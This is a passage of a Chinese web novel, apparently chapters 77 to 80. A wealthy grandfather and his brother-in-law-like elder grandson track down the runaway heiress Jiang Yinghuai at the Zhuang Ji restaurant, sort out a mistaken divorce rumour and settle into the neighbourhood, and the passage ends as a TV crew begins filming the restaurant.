季初曼：“现在都这么多人了，等电视台的采访一报道，只怕会更多人，这店面恐怕不够用咯。” 庄凝冬把他们的话都听了进去，看了眼外头的空间。 好像是小了点。 估计是得扩一扩了。 到了时间点，店铺开门，顾客们高兴且有序地走了进来。 又开始了忙碌的一天。 过了一会儿，外头的人潮忽然一阵轻微的涌动—— “卧槽！劳斯莱斯……我没有眼花吧？这真的是劳斯莱斯？出现在溪城？我的天，稀奇啊，赶紧拍下来发个朋友圈。” “我丢，劳斯莱斯哎，太帅了，车身锃亮锃亮的，每一处都是金钱的味道。” “咱们赶紧离远一点吧，这要是剐蹭到，我可赔不起。” “劳斯莱斯的车主人也来吃庄记吗？也是跟有钱人吃上同一家餐馆了，太长脸了。” …… 周围的人们边讨论边拿出手机拍照，众人注视着，有个身高腿长、穿着衬衣西裤的年轻男人走了下来，绕到另一旁开了车门。 一个执着拐杖的精神矍铄的老者走了下来。 年轻男人虽然冷着脸，但神情还是毕恭毕敬的，像是老人的小辈。 而老人就慈祥多了，看谁都笑眯眯的。 这样两个人径直往庄记饭馆走进去的时候，都像是在走红毯。 其他人都识相地再给他们让路。 里头江映槐自然也注意到了门外有点不对劲，她边帮顾客点着单子边问： “发生什么了？” 有顾客回答她：“好像是有超级有钱的富豪来了吧，听说开着劳斯莱斯呢。” “是嘛？” “是啊，也不知道是哪个大佬来了。” 什么大佬，让她也看看。 江映槐好奇地垫脚朝外看。 直到看清了来人的样子后—— 江映槐蓦地瞪大双眼，被吓得一个激灵，反应迅速地蹲到了收银台下方。 卧槽！！他们怎么来了！！ 第78章 第78章 陆向安对此不明所以：“你蹲下去干嘛？下面有什么东西吗？” 见他作势也要跟着蹲下来，江映槐连忙阻止，并紧急“嘘”了一声：“没空解释那么多了，反正等会儿只有人来找我，你就说我不在这儿，不对，你就说我辞职了。” 陆向安：“？？？” 陆向安还想再说点什么的时候，那两人已经来到了跟前。 他赶紧收回眼神，礼貌地问：“您好，请问需要点什么吗？如果是要点菜的话，麻烦到后面排队。” 经陆向安一说，其他人跟着回过神了。 虽然他们两个是很有钱，但有钱怎么了，有钱人也是要守规矩排队的。 江承泽敏锐地扫了眼收银台下方的位置，在江老爷子开口前俯身在他耳边说了点什么，江老爷子略微思索，随后点了点头：“也好。” “我们是来吃饭的，抱歉， 第一次来，不知道这么多人，可我们实在赶时间，”江承泽说着，转头看向其他顾客，“所以能不能让我们先买？为了弥补你们，我可以让助理给你们转一千块。” 那些顾客们听了之后面面相觑，跟旁边的人小声讨论了起来。 其中，有人大胆地试探道：“是每人一千块吗？” 旁边有人笑话他：“每人一千，怎么可能。” 在这儿排队的人那么多，每人一千实在太夸张了，为了一顿饭，不至于，也没必要。 大不了下次来吃就是了。 可那么多人平分一千，也未免太小家子气了，谁愿意为了这三瓜两枣让位置啊？ 就在此时，江承泽开口了：“对，是每人一千，你们能接受吗？如果不能接受——” “接受接受能接受！！！” 拜托，那可是一千块啊！！ 庄记什么时候不能吃？而且人家只是插个队提前先买，相当于其他人只是往后顺延了一个名额。 绝大部分人都是可以拿到一千块加吃上庄记，包不亏的。 谁不同意谁傻子！ “如果谁不能接受的话，先生您千万不要往心里去，当作没听到就好了，小数服从多数，反正我们都是同意的。” “别说接受了，就是让我把您扛到收银台前都行。” 更有靠得近的顾客殷勤道：“对了你们要在这里吃吗？准备坐那个位置呢，我去帮你们擦擦。” 江承泽：“……” 江承泽把点菜的事情交给江老爷子，自己则去吩咐助理办事。 陆向安在帮忙点着单，注意力却集中在排着的队伍上。 那边，一个年轻的男人正拿着手机给那些顾客扫码付钱。 是刚刚说好的每人一千块。 陆向安馋得叫那个心痛啊，为什么他不在队伍里？！为什么他以前排队的时候遇不到这种好事？！ 就这么短短的时间内，这个小插曲已经被人发到了顾客群里。 并在群里引起了惊涛骇浪。 其他人看着有人往群里晒出收入一千的截图，人都傻了。 111：[？？？？啊？] 等日落：[？？你是说庄记今天来了个开劳斯莱斯的大佬，因为赶时间要插队所以给你们每人都弥补了一千块？？？每人一千我的天，这还是中文吗……] 来啊发癫啊：[啊啊啊我跟你们这群幸运儿拼了！] zz：[？？是当时在排队的人都有？？] 现场知情人士回答：[是啊，不过只截止到某个时刻，在后面来排队的好像就没了吧，我看到有人在队伍末尾统计着。] 不想上早八：[啊？可是现场那么多人，每人一千，花的钱都能把庄记包下一整天了吧？] 23：[人家说了第一次来呢，都不知道会有那么多人，估计以后就包场了吧。] 养生girl：[woc救命！！这下真的错过了一个亿了，这种天上掉馅饼的事我怎么从来没遇到过？！] 别惹我：[今天庄记好像还新上了幸运酥是吧，我去，这应景的，是真有幸运事发生。] 阴暗鼠鼠：[真的好后悔啊啊啊啊，那可是一千块啊！一天啥都不用干白拿一千TAT，今天晚上我两眼一闭，估计睡梦中都在质问我自己今天为什么没去庄记/安详.jpg] 焦虑个P：[你这算什么？我才是真的后悔至极，因为我今天到过庄记一趟，但是一看人实在太多了，然后就走了，回来之后看到有人派钱，天都塌了：）] 乌鱼子：[呵呵，你们都没有我惨，我才是最倒霉的！因为去的时间不早不晚，领钱的好事刚好截止到了排在我前面的那一个人，真的要吐血了，我但凡早那么一点点，或者晚到一些时间，都不会那么难受。] 再也不搞抽象了：[噗，这个真喷不了，这是真惨啊。] 有人在一片哀嚎中问：[别光炫收入的一千块了，能不能让我们看看劳斯莱斯和那两位大佬？] 很块，就有人发了照片出来。 谭清莹：[我靠我靠！！年轻的那个男人好帅！衬衣西裤，面色好冷我好爱，一眼就心动了！] 何筝：[那位老爷爷也不差啊，看这体态气质，老了都那么帅，更别说年轻的时候了。] 一杯奶茶：[你们注意到他们身上穿的衣服了吗？简简单单一件就够在溪城买几套房了，难怪出手那么阔绰。] 有种打死我：[这群人长得好看就算了，居然还那么有钱，老天爷究竟给他们关上了哪个窗户？我果然是这个世界的NPC。] …… 江承泽他们点完单就找了个位置坐下，店里已经恢复了之前的秩序，只是陆向安仍未从羡慕嫉妒恨中回过神来。 就连江映槐小声喊了他好几声他才听见。 江映槐：“你在干嘛？走什么神啊？” 陆向安叹了口气：“如果我今天也在队伍里就好了……” “出息，不就是一千块吗？我给你就是了。”江映槐壕气道，并爽快地转了账：“帮我看看他们走了没？” 陆向安目瞪口呆地看着手机新进来的消息，就这么水灵灵地转了？ 多他一个有钱人怎么了？ 收钱办事，陆向安问：“‘他们’指谁啊？” 江映槐：“就刚刚引起轰动的那两人，那对爷孙。” “走啥啊走，人家点的菜还没吃呢，哎，你怎么知道他们是爷孙？不对，你跟他们认识？你们到底是什么关系？” 陆向安敏锐地嗅到一丝不寻常。 江映槐的心思还在想要怎么躲他们上面，便敷衍道：“管那么多干嘛，等以后我再慢慢跟你们说，反正现在你得帮我盯着他们，他们走了你就告诉我，这期间就麻烦你跟初曼姐了，我是干不了活了。” …… 庄记里的菜都不贵，江老爷子就把店里所有的菜都点了一遍。 烤鸭是万宁的特色美食，江老爷子又是万宁本地人，因而最先品尝就是这道果木烤鸭。 让他尝尝能让他孙女留下来打工的店做出来的菜品都是什么味道的。 江老爷子先夹起了一块鸭肉，放进嘴里。 这味道……他明显地顿了顿。 江承泽注意到：“怎么了爷爷？” “这烤鸭的味道不仅一点不输万宁，好像还更好吃，你快吃吃看。” 江承泽也随之夹了一块，吃完后也不自觉一顿：“的确，火候掌握得很好，少一分不够，多一分则柴了。” 皮酥肉嫩，吃起来还有清淡却悠长的果木香，就连店家自己做的甜面酱也很正宗，咸甜可口，酱香浓郁，其中的层次感把握得很到位。 “小泽，你再吃吃其他，其他菜的味道也特别香！”江老爷子进食的速度在不知不觉中加快：“呼，好久没有吃得这么畅快了，这手艺，完全不输百味楼啊。” 江承泽不是爱说话的性子，他听见这话之后下意识看向小窗口，往里看了眼，看到了一个女生的身影…… 吃饭间，几乎都是江老爷子在说话—— “竹筒饭的竹子香存在感太足了，清清淡淡的，吃起来就有种宁静致远的感觉，一看就是用火烤的，像其他放水面上蒸的就不会这种口味。” “炸出来的羊排竟然一点膻味也没有，外酥里嫩，挂在肉上面的油脂太香了，轻轻一抿就化开了，酥香四溢。” “最雅的当属这份菊花豆腐了，澄澈清透的水里，开着黑白并蒂菊，美得像一幅画，完全不舍得吃啊……” 江承泽在一旁听着，偶尔会附和两声，不过字数都不多。 江老爷子早就习惯他这副样子，倒是没说什么。 他吃饱喝足后，舒适地感叹：“难怪小槐那丫头不肯回去，搁这儿天天吃那么好，换我我也不想回咯。” “爷爷，您这……” 就连江承泽也一时难辨他最后那句话的真假。 江老爷子摆摆手：“别急，还没决定好呢。” 他们吃完后，让人把剩余的菜打包好就离开了，仿佛真的只是来吃一顿饭一样。 陆向安赶紧报信：“哎哎哎，他们好像走了。” 江映槐刚要站起来，又被陆向安摁了下去：“等会儿，他们是走了，但又好像没完全走。” 江映槐：“……？” “他们人不在店里了，但是外面的车子还在。” 江映槐扒拉着收银台，只露出了一双眼睛，往外看，但其实什么也看不到。 外面的视野被店里的顾客挡住了。 江映槐：“你说我现在从后门逃还来得及吗？” “他们要是用钱威胁我说出你的下落怎么办？你知道的，他们给的实在太多。”陆向安对自己有很清晰的认知：“所以你跟他们之间到底是怎么一回事？” 事到如今，也没什么好瞒的了。 况且他们既然已经找到这儿来了，逃得了一时逃不了仪式。 江映槐揉了揉发酸的手脚：“说来话长，先干活吧，忙完我再跟你们说。” 江映槐重新加入干活的行列，就这样忙到了店里的东西都卖光。 最后一批顾客吃完后也在慢慢离开。 等店里的人走得差不多了，江映槐正要回后厨拿清洁工具，然后被一道冷冽且自带威慑力的声音定在了原地。 “江映槐！” 江映槐僵硬地转身，先看到冷着脸的江承泽，立马躲到了刚从后厨出来的庄凝冬身后。 “还想躲到什么时候？！要我绑你过来？” 江映槐揪着庄凝冬的衣服，人是怂的但嘴可不怂：“绑……绑什么绑，光天化日之下，你不能硬来的！除非你保证你不会凶我不会扣我的零花钱。” 江承泽神情松动，面露无奈：“不凶，不扣，过来，咱们坐下好好谈谈。” “不信。” “……” 除了江家三人，庄凝冬其余人都不知道发生了什么事。 庄凝冬正要问，就听见前面头发花白却依旧精神抖擞的老爷子开口：“这么久不见，就不想爷爷？” 众人霎时齐齐顿住。 爷爷？？！ 江映槐是典型的吃软不吃硬，被这么一问，就什么别扭也没了。 “想的。” “那还不快过来让我瞧瞧？过来吧，你私自出逃就算了，自己偷偷结婚还闹到要打离婚官司的地步，我们可就不能不管了。” 江映槐：“？？？” 江映槐原本还陷在一片温情里，安静听着，在听到“偷偷结婚”、“打离婚官司”的字眼时，人都傻了。 “？？不是，什么偷偷结婚，还打离婚官司？”江映槐连忙打断。 至于庄凝冬一行人，还没从眼前的两位有钱人就是江映槐的家人的震惊中回过神来，就又被一个重磅消息砸得晕头转向。 陆向安瞪大眼睛：“啊？？你结婚了？！” 季初曼不可思议：“还离过婚打过官司？” 庄凝冬也云里雾里的：“映槐这到底是怎么一回事？” 处在事件中心的江映槐本人更是要炸了，这都什么跟什么？！ 最终，他们一行人坐了下来，由江映槐把整件事慢慢讲清楚。 原来在两年前，江映槐就已经从家里开始出逃了。 起因是江映槐无意间被某个富家子弟看上，那人吵着嚷着要跟她联姻，江映槐对此烦不胜烦，偏偏那个富家子弟的家庭背景比她家要厉害，根本得罪不起。 再加上某一天，她无意间偷听到父母不堪对方施加的压力，要同意这门婚事，江映槐走投无路下只好逃走了。 自那开始了有家不能回、当up主谋生的生活。 联姻、逃婚…… 对普通人家来说真是好小众的词。 陆向安：“就这样？怎么从来没听你说过啊？” “有病吧，好端端的我提这些干嘛？平时也没有提到这些的必要啊，难不成我逢人就说‘我可是江家的大小姐’？那我可能早就被拉去精神病院了。” 陆向安：“……” 庄凝冬和季初曼被江映槐的说法逗笑。 江老爷子：“那你要打离婚官司这又是怎么一回事啊？” 江映槐：“我还想问你们从哪听来的风言风语呢，这样造我谣？” 江承泽：“助理无意发现律师团那边有了动向。” “我什么时候让律师团……”江映槐顿了下，沉默了。 应该是初曼姐那个离婚案，被他们误会成是她的了。 没想到这稀里糊涂地又闹出了一个乌龙。 江映槐只好把这件事一一跟他们说清楚，这下倒是轮到季初曼沉默了。 没想到自己也成事件主角了。 江映槐：“你们但凡先问问清楚呢？” 江承泽：“关心则乱，爷爷听到后马上就说要来溪城，哪能想到要问清楚？” 江老爷子：“你哥也是，一路上脸都是黑的，我都不敢想你要是真偷偷结婚又离婚了，他会怎么手撕那个男的。” 对此，江映槐还是乖乖地道了个歉。 后面，他们爷孙三人又把其他一些事说清楚，其中包括，当年江映槐父母并没有想要把她嫁给那个富家子弟的意思。 江承泽喝了口茶：“爸妈要真有那个想法，你当年连家门都出不去。” “我现在要是回去了，那个歪瓜裂枣听到消息又上门纠缠怎么办？” “他们没资格。” 这两年来，江承泽全副身心都放到了工作上，手段雷厉风行，短短时间内将江氏集团的市场占有率以及行业影响力都往上拔了一个层次。 昔日频频拿生意项目施压的富家子弟如今已经被他们踩在脚下，再也嚣张不了了。 “那我也不要回去，没了那个歪瓜裂枣，也还是会有其他癞蛤蟆的嘛。”江映槐说：“而且我在这里过得很充实，有朋友有师父还有很多可亲的邻里街坊，我喜欢留这里。” 江承泽捕捉到关键字眼：“师父？” 江映槐挽过庄凝冬的手臂，亲昵地介绍：“是啊，这就是我拜的师父，好看吧，你们刚刚吃的菜就是她做的呢，好吃吧？” 江承泽的目光顺势落到庄凝冬身上，庄凝冬朝他笑着颔了颔首。 不同于江承泽一如既往的冷淡平静，江老爷子可就热络多了，先是对庄凝冬的手艺夸了好长一段话，然后跟她请教了做饭的一些问题。 庄凝冬都耐心且温柔地回答着。 后面还是江映槐看不下去了：“爷爷，你自己吃饱了是有力气了，可我们还没吃呢，能不能把话放一放，等我们吃完饭再说？” “好好好，瞧我，一高兴就什么都顾不得了。” …… 庄凝冬回到后厨做午饭，江映槐进去给她打下手，一顿午餐很快做完。 江老爷子和江承泽前面虽然已经吃过了，但还是象征性地坐到餐桌前吃了一点点。 江映槐难得跟家里人团聚，这顿饭是她的主场，基本都是她在挑起话题，跟家里人讲着自己到这以来遇到的趣事。 偶尔她也会cue到其他人，不会让别人受到冷落。 江映槐滔滔不绝，把美食节遇到的不公也吐槽了出来。 江承泽敏锐：“你上次给我打电话就因为这个？” “不然呢？” 江承泽头疼：“这点小事有什么好欲言又止的？” 就是这通莫名其妙的电话，加上后面听到的消息，他们才会关心则乱，什么都没问清楚就赶了过来。 草率了。 “小事？小事你也管不着，你的手可伸不了那么长。” 事情已经过去，江映槐不想再这上面多停留，又扯去了别的地方。 “爷爷，你有没有吃咱们店里新上的幸运酥啊？我记得你买了的。” 江老爷子：“还没，怎么了？” “你居然还没吃？！你怎么可以不吃呢？那可是我亲手做的！” “是嘛？那我可得尝尝了。” 江老爷子正要让人去车上把那盒幸运酥拿来，庄凝冬就先一步进了厨房拿了几个幸运酥出来。 “先吃这里的吧，那盒完整的你们留着慢慢吃。” 江承泽：“好。” 幸运酥整体就是一片四叶草的形状，呈现出一抹清新的绿意，叶子处被切割开的部分露出内里一点嫩黄的馅料，搭配切开的刀痕，形状竟意外像一颗心。 整块幸运酥就像是由四个心形组成，切割处还能看到层层分明的酥皮，可见其中下了不少功夫。 闻起来是有种烤过的小麦香。 江老爷子咬下一口，酥脆得立马发出“咔吱”声，入口是微苦的抹茶味，然而等吃到中间明黄的馅料时，一阵带有奶香的甜味又弥漫过来，中和掉了这份苦涩。 那是烤过的奶黄馅料。 “诶！味道非常不错窝！”江老爷子细细品尝：“烤过的奶黄馅料外层是酥的，内里却依旧保持着那份绵密，奶香味很浓厚，和抹茶香交织在一起，达成了先苦后甜的多重口感。” 江承泽向来不爱吃甜点，也赏脸地吃了一块。 “这个配方，是师父在指点吧？” “……那咋了？”江映槐懒得理他，骄傲地抬了抬下巴：“我师父就是比我厉害。” 庄凝冬笑了笑，也很给面子江映槐，替她说了几句好话。 江老爷子他们山长水远，好不容易才来一趟，庄凝冬特意给江映槐放了几天假，让她好好陪陪家人。 几天过后，江承泽由于工作原因，没法再逗留太久，嘱咐江映槐记得多打电话回家里，有空就回去看看爸妈，便准备带着江老爷子回去了。 然而，江老爷子一听，拒绝了：“我就不跟你回去了。” 江承泽：“？？？” 江承泽揉了揉太阳穴：“您留在这干嘛？” “我陪陪我孙女不成？” “可是爷爷，我平时要干活的，可没空管你。”江映槐说。 “这就不用你担心啦，我自然有我的乐子。” 江老爷子不想走，谁也勉强不了他。 江承泽只好作罢：“那我助理留给您了，有事尽管吩咐他。” 说完，他看向江映槐：“还有你，记得把我从黑名单里放出来。” “……” 糟糕，忘了这茬。 江映槐嘴硬：“我早就拉出来了。” 江承泽冷笑：“是吗？那我早上怎么还打不通呢？” “……” “你打不通肯定是你的问题，说不定是你打错电话了。” 江承泽懒得跟江映槐扯嘴皮子，又叮嘱了她一些注意事项，最后，他走到庄凝冬跟前。 “可以加个联系方式吗？” 第79章 第79章 庄凝冬起初还在置身事外看那温情的一家子告别，眼看着男人走到自己跟前，她“啊”了一声，指了指自己：“我吗？” “对，”江承泽点了点头，“谢谢你这段时间对舍妹的照顾，加个联系方式，她后面要是闯了什么祸我也好收拾。” 江承泽表现得像个操心的家长。 庄凝冬没理由拒绝。 但江映槐就不乐意了，什么叫她闯祸？ 不对，不对劲，江映槐奇怪地瞅了瞅江承泽。 她哥什么时候主动问女生要过联系方式了？ “你……” 没等江映槐说出什么，江承泽就加完联系方式走了。 江映槐晃晃脑袋。 算了，不管了。 干活去咯。 * 那头江承泽回到家之后，免不了被父母抓着一通问。 江母有点想不通：“映槐不愿意回来就算了，怎么爸也不肯回来呢？” “您尝过这些就知道了。” 江承泽让人把带回来的大大小小礼盒拿上来。 以往江映槐还在家住的时候，有时候跟小姐妹出趟门也都会给他们带礼物回来。 江父江母对带礼物这个行为已经习以为常，所以一开始并没有把这几盒东西放在心上。 现在被摆了上来，才问了句：“这是？” “庄记的糕点。”江承泽又补充了句：“庄记就是映槐她工作的那个地方。” 江承泽在那几盒糕点里，把其中的两盒分出来：“这两盒是映槐特意为你们做的。” 一听是自家女儿做的，江母赶紧拿了过来拆开：“这礼盒也是她亲自挑的？” “……”江承泽：“这倒不是，店里专用的。” 江母也不管那么多了，拿起来一个四叶草形状的糕点就送进嘴里。 咬下去，是烤制过的酥脆口感，盎然的绿意是用略带苦涩的抹茶粉染上的。 初始的口感是微苦涩的，然而等过了一段时间之后，舌尖便冒出了一点甜来，入口回甘。 中间的馅料软绵顺滑，带有浓浓的奶香味，是奶黄馅！ 甜而不腻的味道刚好中和了那点涩，很好吃！ 江母眼睛一亮：“这，这真的是映槐做的？居然这么好吃？！” 江父不爱吃糕点，所以他并没有动，此时听见妻子这么说，便开始犹豫起来了。 “真有那么好吃？” “当然了！”江母这时全然忘了一个富家太太该保持的优雅，又咬了一大口幸运酥，咽下去才又接着道：“平时我跟傅太太她们约下午茶，都是点的百味楼的点心，原本我以为那些已经够好吃的了，没想到映槐做的这份更好吃。” 看在女儿的面子上，江父还是吃了起来，结果这一吃，也跟着怔住了。 江父吃这个糕点跟猪八戒吃人参果一样，这吃相还被江母嫌弃了一眼。 江父也不在意，乐呵道：“我就说让女儿自己出去历练一下也不是什么大事吧？看看，这技艺多高超啊！比百味楼的师傅都要好，我这就再给她转点零花钱，让她再接再厉！” 倒是江母发现了其中的重点：“映槐是自学的？还是受到了哪位师傅的指点？” 江承泽适时上前，把江映槐认了庄记老板当师父的事跟他们讲了一下。 “师父？映槐认了庄记的老板做师父？” “是。”江承泽脑海中浮现出那张绮丽的脸，又说道：“那位庄记的老板是个女生，年龄比映槐还要小一点，她们年纪相仿，感情很好，你们大可放心。” “是个比映槐年纪还小的女生？” 这下江母可来兴趣了：“没想到溪城那个小地方还藏了颗明珠。” 那么年轻，手艺却碾压百味楼拥有几十年经验的老师傅。 最重要的是还经营着一家饭店。 江父轻易就明白了江母的意思，也叹了句：“真是年少有为，未来可期啊。” 江承泽又讲起自己跟江老爷子在那吃过的菜，均是出自那位年轻老板之手，又说江映槐做的这份酥点的味道其实经过那位老板改良过。 “我看那家店门前还有棵槐树，冥冥之中跟映槐也有缘分，就随她去了。” 江父笑：“有这么好吃的东西，难怪爸他老人家不肯回来，算了算了，由他们去吧。” 江母笑意盈盈的，抓住了别的重点：“承泽啊，我以前怎么没发现你话这么多？你这是对那位老板产生了兴趣？话说回来，你也到年纪了，是该考虑人生大事了，要是有感兴趣的女生——” “……”江承泽只觉头疼，连忙打断江母的长篇大论：“我还有工作要处理，先上楼了。” “哎！你这孩子……” * 江老爷子贪图方便，住进了江映槐租的那间屋子里。 这些日子，他也跟左邻右舍混了个熟。 清晨起得早，就去找这条街的李老头一起打太极，有时候就跟梁老头去遛狗，偶尔也会跟许老头拿着一副拖把在院子里写字。 江老爷子一看那字，若有所思，敏锐地问：“庄家丫头店里挂着的字画是你写的吧？” 许爷爷一听，乐了：“嘿，你能认出来？” “那可不，就这笔走龙蛇的气势，要想认不出来也难啊。” 江老爷子那天和江承泽在朝丰街引起的轰动已经被朝丰街的人所熟知，许爷爷自然知道像江老爷子这种人，肯定见过不少价格不菲的字画。 而偏偏就是这样，被见过各种珍贵字画的人夸自己的字才更让人愉悦。 许爷爷一下子就被夸到心坎去了。 有时候，江老爷子也会在街边榕树下的石桌和邻里街坊下期。 榕树大，枝繁叶茂，沉沉地盖下来，投下大片阴凉。 在这样的阴凉里，专注地博弈上几轮，再喝着庄记做出来的冰镇酸梅汤，别提多舒服了。 这一天天的，江老爷子的活动丰富多彩，看得江映槐眼红极了。 原来这就是他说的有他自己的乐子！ 她也想过上这样的退休生活呜呜呜。 偶尔江映槐实在看不下去了，就会拍张照发给江承泽，冷漠地让他赶紧来把人领走，说她一个早出晚归的打工人看不得这些。 那头的江承泽就会把江映槐发过来的照片发给爸妈。 江父江母一看，好家伙，这么多节目，果然不想回家是有原因的。 除了个人的吃喝玩乐，江老爷子也没忘记庄凝冬他们，一来就让助理往店里添置了许多新物品，比如说新的空调、冰箱、还有其他需要用到的厨房用具。 每样都是昂贵又有名的品牌。 让庄凝冬都不好意思了。 最后还是江映槐对她说，那是江老爷子心疼自己孙女，想要给自己孙女一个更好的工作环境，就当这些东西都是买给她的。 这样，庄凝冬才接受。 这些还算是小事，更大的还在后头—— 江老爷子说要投资溪城建机场。 猝不及防听到这句话的庄凝冬手一抖，夹起来的肉丸掉了下去，奶奶差点被茶水噎到，陆向安咬到了自己的舌头，季初曼的筷子掉到了地上。 江老爷子不解：“你们怎么了？难道你们不觉得溪城的交通不太方便吗？如果有机场就可以直飞了。” 陆向安干笑两声：“是，是挺不方便的，就是您说得太轻松了些。” 怎么能说建就建呢？仿佛讨论的不是机场，而是积木。 这就是有钱人的世界吗？ 江老爷子：“这有什么难的？我现在就打电话给承泽，让他立项，跟溪城政府这边建立合作，马上建机场。” 季初曼觉得江老爷子不是这种头脑一热不顾盈亏的生意人，还是委婉地说了句：“就是说，有没有一种可能，它不方便也有它不方便的道理呢？比如说平时也没什么人来溪城，所以它不方便也不影响什么。” “谁说的？”江老爷子心意已决：“等建好以后，方便了，来的人不就多了？而且我看溪城山清水秀，空气质量好，还可以开发旅游项目呢。” “……” 建机场这么大件事，似乎就这样被江老爷子头脑一热就定下了。 除了这些大事，江老爷子对个人的小事也能周全地照顾到。 比如知道庄凝冬奶奶身体不好，连夜让人寄了一大批名贵药材来，还让家庭医生开了补身子的方子。 又关切地问了季初曼的离婚案件进行到哪一步了。 说起这个，季初曼除了拼命说谢谢真不知道要怎么感恩了。 有了江家专业的律师团帮助，和卫默的离婚案顺利得不得了。 同时，律师团那边还替季初曼争取到了最大利益，圆圆的抚养权是她的，房子是她的，就连其他财产也分了大半。 对此，江老爷子只是随意地摆摆手：“举手之劳罢了。” 还有陆向安，江老爷子也会关心他的工作日常，还会适时地给他指点一二。 天，能得到这么有钱的专业人士传授的经验，陆向安都要高兴疯了。 无比感谢曾经那个选择来庄记的自己。 偶尔等店里忙完的时候，江映槐还会拉上庄凝冬去围观江老爷子下棋。 庄凝冬不会下棋，以前在大燕朝，有限的时间里都用来练厨艺了，没空学这些文人雅士的东西。 对此，江老爷子又来了兴致，说要教庄凝冬下棋。 恍惚间，庄凝冬又想起了记忆里的那道颀长的身影。 他也会下棋来着。 常常见他坐在花园的亭子里，左手一把折扇，右手执着莹润的白棋，神情散漫轻松，每走一步都游刃有余，次次都是对面的人深感挫败，率先扔棋大喊不玩了。 回过神来，庄凝冬笑着应了声：“好，那就辛苦您了江爷爷，我在这方面可能没什么天赋，还希望您多点耐心，多多包涵。” “别谦虚，我一看你就很有天赋。” 江映槐在旁边看着，连师父都学了，她便也嚷嚷着说要跟着学。 江老爷子一听，纵容地笑了几声：“你啊，小时候也说要学，结果在旁边听了没几分钟就打瞌睡了。” 江映槐羞恼：“往事就不要再提了！” 这让她的面子往哪搁啊？ 庄凝冬也不禁弯起眉眼，打趣道：“希望你等会儿不要再睡着就好。” 江映槐脸一红：“才不会！” 后面江老爷子在教的时候，江映槐睡倒是没睡，只是在跟庄凝冬练习实战的时候，她怎么也想不明白，明明她们是一起学的，怎么师父就比她强那么多呢？ 果然，师父就是师父。 不比她强怎么当她师父呢？ 这股下棋的风气让陆向安也来了瘾，晚上下班后他也不急着回家了，就留下来下棋。 在下棋这方面，陆向安属于人菜瘾大的那类，这一点，他跟江映槐一样。 但又不太一样。 因为他比江映槐还菜。 每回输的时候，陆向安都会痛心疾首地丧气复盘：“我刚刚为什么要走那一步呢？哎，我怎么那么菜啊？” 江映槐罕见地安慰他：“其实菜一点也不是什么坏事啦。” 陆向安感动地看过去，听到了她接下来的话：“起码可以衬托我的厉害。” 陆向安：“……” 他在期待什么？ …… 时间在不断流逝，很快到了电视台来采访那天。 第80章 第80章 尽管店里的卫生维持得很好，但到了采访这一天，季初曼和江映槐还是象征性地多搞了几遍卫生。 江老爷子不理解：“你要是想上电视，跟爷爷说一声不就是了，何必这么辛苦。” 江映槐正拖着地，她的拖把扫过江老爷子的脚边，示意他抬脚：“你不懂的爷爷，经过自己努力得来的肯定更珍贵啊。” 江老爷子听见后，欣慰一笑：“长大了。” 不再是小时候不管想要什么都只会撒娇的小孩子了。 采访这天，店里营业照旧，一切如常，这样拍出来的效果才有真实感。 这一块的采访内容还是由孟云露负责。 孟云露准时来到庄记，看见门前排出了一条长长的队伍时，还愣了一瞬。 这也太太太太多人了。 孟云露在店门前就开始做了一段简单的介绍：“电视机前的各位观众朋友们大家中午好啊，我们都知道在美食节上获得前三名的商家都是可以得到上电视的机会的，那咱们现在就是来到了在美食节上获得第一名的商家——庄记饭馆的门前。” “想来大家对这家店一定不陌生，曾经在美食节上，它家的烤鸭就得到过许多人的好评，同时，它家的烤鸭也被网友戏称为‘忘崽烤鸭’，大家可以看到现场非常多人哈，到底它家除了烤鸭之外，其他菜式的味道如何，值不值得这么多人顶着烈日排队呢，让我们一起去看看吧！” 路人看见孟云露这一副行头，知道他们是做采访来了，都识相地让了路。 庄凝冬出来跟孟云露碰了面。 经过一段时间的培训，店里招的那几个厨师已经可以正式开始工作了。 庄凝冬也就不用每时每刻都待在后厨了。 庄凝冬还拿了两杯杨梅荔枝饮出来：“这种天气真是太热了，来，先简单解解渴吧。” 两杯，孟云露和摄像大哥一人一杯。 “哇，谢谢谢谢，这是什么，杨梅荔枝饮吗？紫红紫红的，看起来就特别好喝，我先替观众朋友们喝咯。” 孟云露接过，吨吨吨一下喝了好几口。 她露出舒适的神情，叹道：“唔——酸甜可口，冰凉解暑，超级好喝，就是里面的杨梅和荔枝太大了，吸管也吸不上来，等会儿再吃吧。” 回归到正题。 “这位就是庄记的老板兼大厨了，”孟云露笑，“庄老板，来跟大家大声招呼吧。” 话筒给到庄凝冬。 庄凝冬第一次面对电视台，难免有些紧张。 她尽量放松地笑，朝摄像头招了招手：“大家好，我叫庄凝冬，开了一家小饭馆，做点小本生意，平时就做做饭给大家吃，希望都能吃得开心吃得满足。” 这么多人光顾的店称小饭馆小本生意。 孟云露笑笑：“谦虚了。” 接下来就是去后厨参观了。 摄像大哥跟在她们俩身后，这一环节主要是庄凝冬在介绍，孟云露做旁白，进一步解说，偶尔也会提出一些疑问，庄凝冬负责回答。 “这里用来存放食物，还有一些暂时用不到的工具，那边就是炒菜备菜的区域了……” 其实后厨不算大，也没什么好特别介绍的，几乎几句话几个镜头就能完成了这一环节。 孟云露：“大家可以看到后厨是非常整洁的哦，东西也摆放得井井有条，每一个区域的划分都清晰明了。” “另外，食材也是很新鲜的。”接着，孟云露又道：“我刚刚一进来的时候就闻到好香好香的饭菜味道了，不知道庄老板能不能亲自做个菜让我们开开眼呢？” 庄凝冬答应得爽快：“可以啊。” 展示的话需要做个简单快捷的菜，就选店里已有的紫菜炒饭好了。 一个员工识相地让出了位置，庄凝冬上前，熟练地热锅，三两下就把紫菜煎好，捏碎，放在一旁备用。 接着起锅烧油，先把准备好的配菜翻炒几下，而后下入均匀裹上蛋液的米饭。 庄凝冬一手拿着锅，一手拿着铲子，动作有力地颠着锅，底下火苗蹿得半天高，看得一旁的孟云露不禁瞪大了眼睛，不自觉地退后了一点点。 翻炒期间，米粒在锅中慢慢跳起了舞，噼里啪啦的，肉眼可见的粒粒分明，粒粒松散。 蛋香混着其他配菜的香气变得愈发浓郁。 孟云露和摄像大哥的肚子在遭受长久的香气攻击后，终于在此刻发出了不争气的咕噜声。 孟云露咳了声，心想：还好后厨做饭、机器运转的声音大，不然…… 一份紫菜炒饭在撒入细碎的紫菜后终于出锅了。 “哇，好漂亮的炒饭，像金子一样，让我先来尝尝。”孟云露说着，舀了一勺放进嘴里：“好吃！米饭是松软的，每一粒都裹满了浓浓的蛋香，还有火腿肠咸香，每嚼一下都能吃到软韧的香菇丁，还有脆脆的紫菜，好香好香。” 